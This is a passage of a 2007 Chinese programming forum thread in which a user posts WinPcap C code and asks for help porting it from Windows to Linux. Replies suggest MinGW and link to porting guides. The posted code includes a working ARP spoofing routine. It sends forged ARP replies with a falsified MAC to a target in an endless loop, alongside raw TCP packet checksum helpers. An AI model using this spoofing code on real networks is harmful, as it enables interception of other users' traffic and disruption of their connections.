        ETHeader eh = { 0 };
        memcpy(eh.dhost, arpspoof.ucTargetMAC, 6);
        memcpy(eh.shost, arpspoof.ucSelfMAC, 6);
        eh.type = htons(ETHERTYPE_ARP);
        memcpy(ucFrame, &eh, sizeof(eh));

        // 设置Arp头
        ARPHeader ah = { 0 };
        ah.hrd = htons(ARPHRD_ETHER);
        ah.eth_type = htons(ETHERTYPE_IP);
        ah.maclen = 6;
        ah.iplen = 4;
        ah.opcode = htons(ARP_REPLY);

        memcpy(ah.smac, arpspoof.ucPretendMAC, 6); //Falsified C's MAC address
        ah.saddr = inet_addr((char *) arpspoof.szIP);  //C's IP address
        memcpy(ah.dmac, arpspoof.ucTargetMAC, 6);
        ah.daddr = inet_addr((char *) arpspoof.szTarget);   //Destination A's IP address

        memcpy(&ucFrame[sizeof(ETHeader)], &ah, sizeof(ah));

        // Loop send RARP Packet
        while(1)
        {
                if(pcap_sendpacket(arpspoof.adhandle, (const unsigned char *) ucFrame,
                        ARP_LEN) < 0)
                {
                        printf("Send Packet Error\n");
                        return FALSE;
                }

                StaticARP(arpspoof.szIP, &arpspoof.ucIPMAC[0]);
                Sleep(3000); // Sleep 3 sec to restore arp cache
        }
        return TRUE;        
}

//
// 列出可使用的网卡,以及相关的IP、PhysicalAddress、Gateway
//
void ListAdapters()
{
        pcap_if_t *alldevs;
        pcap_if_t *d;
    int i = 0;
    char errbuf[PCAP_ERRBUF_SIZE], szGateIPAddr[16], *p;
        char szIPAddr[16];
        unsigned char ucPhysicalAddr[6];

    if (pcap_findalldevs(&alldevs, errbuf) == -1)
    {
        fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
        return;
    }
    for (d=alldevs; d; d=d->next)
    {
        if (d->addresses != NULL && (p = strchr(d->name, '{')) != NULL
                        && Getadapterbyname(p, szIPAddr, ucPhysicalAddr,szGateIPAddr))
                {
                        if (d->description[15] == 0x20)
                                d->description[15] = '\0';
                        printf("\n  %d. %s\n\tIP Address. . . . . : %s\n", i, d->description, szIPAddr);
                        printf("\tPhysical Address. . : %.2X-%.2X-%.2X-%.2X-%.2X-%.2X\n",
                                ucPhysicalAddr[0], ucPhysicalAddr[1], ucPhysicalAddr[2],
                                ucPhysicalAddr[3], ucPhysicalAddr[4], ucPhysicalAddr[5]
                                );
                        printf("\tDefault Gateway . . : %s\n", szGateIPAddr);
                        i ++;
                }

    }  
    if (i==0)
    {
        printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
        return;
    }

    pcap_freealldevs(alldevs);
}

//
// 入口参数: int uNum 网卡的ID
// 出口参数: unsigned char szIPSelf[] 网卡绑定的IP
// 返回值: 打开网卡的句柄
//

pcap_t* OpenAdapter(int uIndexofAdapter, char szIPSelf[],
                                        unsigned char ucPhysicalAddr[], char szGateIPAddr[])
{
        pcap_if_t *alldevs;
        pcap_if_t *d;
        pcap_t *fp = NULL;
    int i = 0;
    char errbuf[PCAP_ERRBUF_SIZE], *p;
    /* 这个API用来获得网卡的列表 */
    if (pcap_findalldevs(&alldevs, errbuf) == -1)
    {
        fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
        return NULL;
    }
    /* 显示列表的响应字段的内容 */
    for (d=alldevs; d; d=d->next)
    {        
                if (d->addresses != NULL && (p = strchr(d->name, '{')) != NULL
                        && Getadapterbyname(p, szIPSelf, ucPhysicalAddr, szGateIPAddr))
                {        
                        if (i == uIndexofAdapter)
                        {
                                if ((fp = pcap_open_live(d->name, // 设备名称
                                        65536,     // portion of the packet to capture.
                                        // 65536 grants that the whole packet will be captured on all the MACs.
                                        1,       // 混杂模式
                                        1, //读超时为1ms,越小越好
                                        errbuf     // error buffer
                                        )) == NULL)
                                {
                                        fprintf(stderr,"\nUnable to open the adapter. \
                                                %s is not supported by WinPcap\n", d->name);
                                        pcap_freealldevs(alldevs);
                                        return NULL;
                                }
                                else
                                {
                                        if (d->description[15] == 0x20) // 修正一些不整洁的字符串
                                                d->description[15] = '\0';
                                        printf("
Bind on %s %s ...\n", szIPSelf, d->description);
                                        return fp;
                                }
                        }
                        i ++;
                }
    }
    if (i==0)
    {
        printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
        return FALSE;
    }
    /* We don't need any more the device list. Free it */
    pcap_freealldevs(alldevs);
        return NULL;
}

[[i] 本帖最后由 huaping3263 于 2007-2-3 10:17 编辑 [/i]]

2007-2-3 09:52 huaping3263
//tcp.h
//计算效验和函数,先把IP首部的效验和字段设为0(IP_HEADER.checksum=0)
//然后计算整个IP首部的二进制反码的和。
USHORT checksum(USHORT *buffer, int size)
{
       unsigned long cksum=0;
       while (size >1) {
              cksum+=*buffer++;
              size-=sizeof(USHORT);
       }
       if (size) cksum += *(UCHAR*) buffer;
       cksum = (cksum >> 16) + (cksum&0xffff);
       cksum += (cksum >> 16);
       return (USHORT) (~cksum);
}

//
// 计算TCP检验和的函数
// 这个函数超级有用,起关键性的作用
//
void ComputeTcpPseudoHeaderChecksum(IPHeader    *pIphdr, TCPHeader *pTcphdr,
    char *payload, int payloadlen)
{
        
        char *buff = (char *) malloc(1024+payloadlen);
        char *ptr=buff;

        int chksumlen = 0;
        ULONG zero = 0;
        
        // 伪头
        // 包含源IP地址和目的IP地址
        memcpy(ptr, &pIphdr->ipSource, sizeof(pIphdr->ipSource));
        ptr += sizeof(pIphdr->ipSource);
        chksumlen += sizeof(pIphdr->ipSource);

        memcpy(ptr, &pIphdr->ipDestination, sizeof(pIphdr->ipDestination));
        ptr += sizeof(pIphdr->ipDestination);
        chksumlen += sizeof(pIphdr->ipDestination);

        // 包含8位0域
        memcpy(ptr, &zero, 1);
        ptr += 1;
        chksumlen += 1;

        // 协议
        memcpy(ptr, &pIphdr->ipProtocol, sizeof(pIphdr->ipProtocol));
        ptr += sizeof(pIphdr->ipProtocol);
        chksumlen += sizeof(pIphdr->ipProtocol);

        // TCP长度
        USHORT tcp_len = htons(sizeof(TCPHeader) + payloadlen);
        memcpy(ptr, &tcp_len, sizeof(tcp_len));
        ptr += sizeof(tcp_len);
        chksumlen += sizeof(tcp_len);

                // TCP头
        memcpy(ptr, pTcphdr, sizeof(TCPHeader));
        ptr += sizeof(TCPHeader);
        chksumlen += sizeof(TCPHeader);

                // 净荷
        memcpy(ptr, payload, payloadlen);
        ptr += payloadlen;
        chksumlen += payloadlen;

        // 补齐到下一个16位边界
        for(int i=0; i < payloadlen % 2; i++)
        {
                *ptr = 0;
                ptr ++;
                chksumlen ++;
        }

        // 计算这个校验和,将结果填充到TCP头
        pTcphdr->checksum = checksum((USHORT*) buff, chksumlen);
}

[[i] 本帖最后由 huaping3263 于 2007-2-3 10:18 编辑 [/i]]

2007-2-3 09:53 huaping3263
我在线等待哦,谢谢各位了,有什么问题的可以加我qq:278813617.

2007-2-3 10:53 huaping3263
谢谢了,我先看看去!

2007-2-3 12:09 huaping3263
是不是分不够啊,我就这么多,有的话我会继续加上去的,
大家给点意见哦.在线等呢.

2007-2-3 12:12 醉卧水云间
移植是容易的。分数是不够的。

2007-2-3 12:21 langue
“移植到 Linux 下编译”,用 MinGW

2007-2-3 12:30 huaping3263
[quote]原帖由 [i]醉卧水云间[/i] 于 2007-2-3 12:12 发表于 13楼  
移植是容易的。分数是不够的。 [/quote]
我就这么多分了,全帖上了,那你说要多少分才说?

2007-2-3 12:33 huaping3263
[quote]原帖由 [i]langue[/i] 于 2007-2-3 12:21 发表于 14楼  
“移植到 Linux 下编译”,用 MinGW [/quote]
我现在是想把C源码移植到linux上,不是从Linux上移植到win32
不过还是要谢谢这位朋友.

2007-2-3 15:38 HonestQiao
[quote]原帖由 [i]huaping3263[/i] 于 2007-2-3 12:33 发表于 16楼  

我现在是想把C源码移植到linux上,不是从Linux上移植到win32
不过还是要谢谢这位朋友. [/quote]

他是说,让你在Linux下面去编译。

不过,这样子编译的程序,是在Windows上面运行的。

你可以参考:[url]http://wlx.westgis.ac.cn/187/[/url]

2007-2-3 15:41 HonestQiao
[url]http://www-128.ibm.com/developerworks/eserver/library/es-MigratingWin32toLinux.html?ca=dgr-lnxw16CPP2LinuxPower[/url]

这里是我前面推荐的移植的文章的英文原文,你可以看看。
网上的评价非常之好:
IBM developerWorks 有篇很不錯的文章 [Migrating Win32 C/C++ applications to Linux on POWER, Part 1] / [ Migrate Win32 C/C++ applications to Linux on POWER, Part 2],對於有心從事移植 Win32 C/C++ 應用程式到 Linux 的移植工作者,應該可以獲得啟發。

這兩篇文章有很清楚的 Win32 API <--> POSIX 對照表,比較重要的 Thread model 也有提及,thread stack size 的部分要留意,而 concurrent 當然也是重點,mutex 的處理是第二部分的內容,有些差異比方說 Win32 的 WaitForSingleObject(mutex, INFINITE)) 對應到 POSIX 的 pthread_mutex_lock(&mutex)。








另外,Novell的开发文档,那也是相当地不错啊:
[url]http://developer.novell.com/wiki/index.php/Porting_and_Migration_Tools[/url]

[[i] 本帖最后由 HonestQiao 于 2007-2-3 15:44 编辑 [/i]]

2007-2-3 15:51 huaping3263
[quote]原帖由 [i]HonestQiao[/i] 于 2007-2-3 15:38 发表于 17楼  


他是说,让你在Linux下面去编译。

不过,这样子编译的程序,是在Windows上面运行的。

你可以参考:[url]http://wlx.westgis.ac.cn/187/[/url] [/quote]


我的现在的程序在Windows下可以编译通过,但是移植到Liunx上的时候,有许多地方要改动,我对Linux C 不是很懂,所以想请教一下各位怎么改.不过还是要谢谢了.
都等了好久也没解决,好郁闷!

2007-2-3 17:34 huaping3263
谁能做出来,分数可以继续加上去,不过我明天休息,星期一等大家的好消息!

页: [1] 2 3